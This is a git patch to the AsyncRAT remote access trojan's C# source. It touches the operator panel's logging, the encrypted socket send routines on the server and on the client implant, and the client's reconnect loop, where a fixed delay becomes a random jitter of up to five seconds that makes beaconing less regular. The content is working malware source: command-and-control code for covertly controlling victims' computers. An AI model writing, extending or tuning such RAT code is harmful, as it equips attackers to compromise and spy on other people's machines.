From 29f00e07ade7d461c9046c5366e1d8a246560998 Mon Sep 17 00:00:00 2001 From: NYAN CAT Date: Tue, 7 May 2019 16:55:24 -0700 Subject: [PATCH] Update --- AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.cs | 2 ++ AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs | 6 ++++-- AsyncRAT-C#/Client/Program.cs | 2 +- AsyncRAT-C#/Client/Sockets/ClientSocket.cs | 6 ++++-- 4 files changed, 11 insertions(+), 5 deletions(-) diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.cs index 4b693ba..61c277e 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.cs @@ -12,6 +12,7 @@ using AsyncRAT_Sharp.Forms; using AsyncRAT_Sharp.Cryptography; using System.Diagnostics; using System.Net.Sockets; +using AsyncRAT_Sharp.Handle_Packet; // │ Author : NYAN CAT // │ Name : AsyncRAT // Simple Socket @@ -75,6 +76,7 @@ namespace AsyncRAT_Sharp Settings.Port = portsFrm.textPorts.Text; Settings.Password = portsFrm.textPassword.Text; Settings.AES = new Aes256(Settings.Password); + new HandleLogs().Addmsg($"Password {Settings.Password}", Color.Green); } #endif diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs index 048efaa..b2f63ca 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs @@ -133,12 +133,14 @@ namespace AsyncRAT_Sharp.Sockets { try { - if (!ClientSocket.Connected || (byte[])msg == null) + if (!ClientSocket.Connected) { Disconnected(); return; } + if ((byte[])msg == null) return; + byte[] buffer = Settings.AES.Encrypt((byte[])msg); byte[] buffersize = BitConverter.GetBytes(buffer.Length); @@ -204,7 +206,7 @@ namespace AsyncRAT_Sharp.Sockets } } } - } + } } diff --git a/AsyncRAT-C#/Client/Program.cs b/AsyncRAT-C#/Client/Program.cs index f918449..34018ee 100644 --- a/AsyncRAT-C#/Client/Program.cs +++ b/AsyncRAT-C#/Client/Program.cs @@ -36,7 +36,7 @@ namespace Client { if (!ClientSocket.IsConnected) ClientSocket.Reconnect(); - Thread.Sleep(1500); + Thread.Sleep(new Random().Next(5000)); } } } diff --git a/AsyncRAT-C#/Client/Sockets/ClientSocket.cs b/AsyncRAT-C#/Client/Sockets/ClientSocket.cs index 0da6d13..b3cb965 100644 --- a/AsyncRAT-C#/Client/Sockets/ClientSocket.cs +++ b/AsyncRAT-C#/Client/Sockets/ClientSocket.cs @@ -17,7 +17,7 @@ using System.Text; namespace Client.Sockets { - class ClientSocket + public static class ClientSocket { public static Socket Client { get; set; } private static byte[] Buffer { get; set; } @@ -147,12 +147,14 @@ namespace Client.Sockets { try { - if (!Client.Connected || !IsConnected || msg == null) + if (!Client.Connected || !IsConnected) { IsConnected = false; return; } + if (msg == null) return; + byte[] buffer = Settings.aes256.Encrypt(msg); byte[] buffersize = BitConverter.GetBytes(buffer.Length);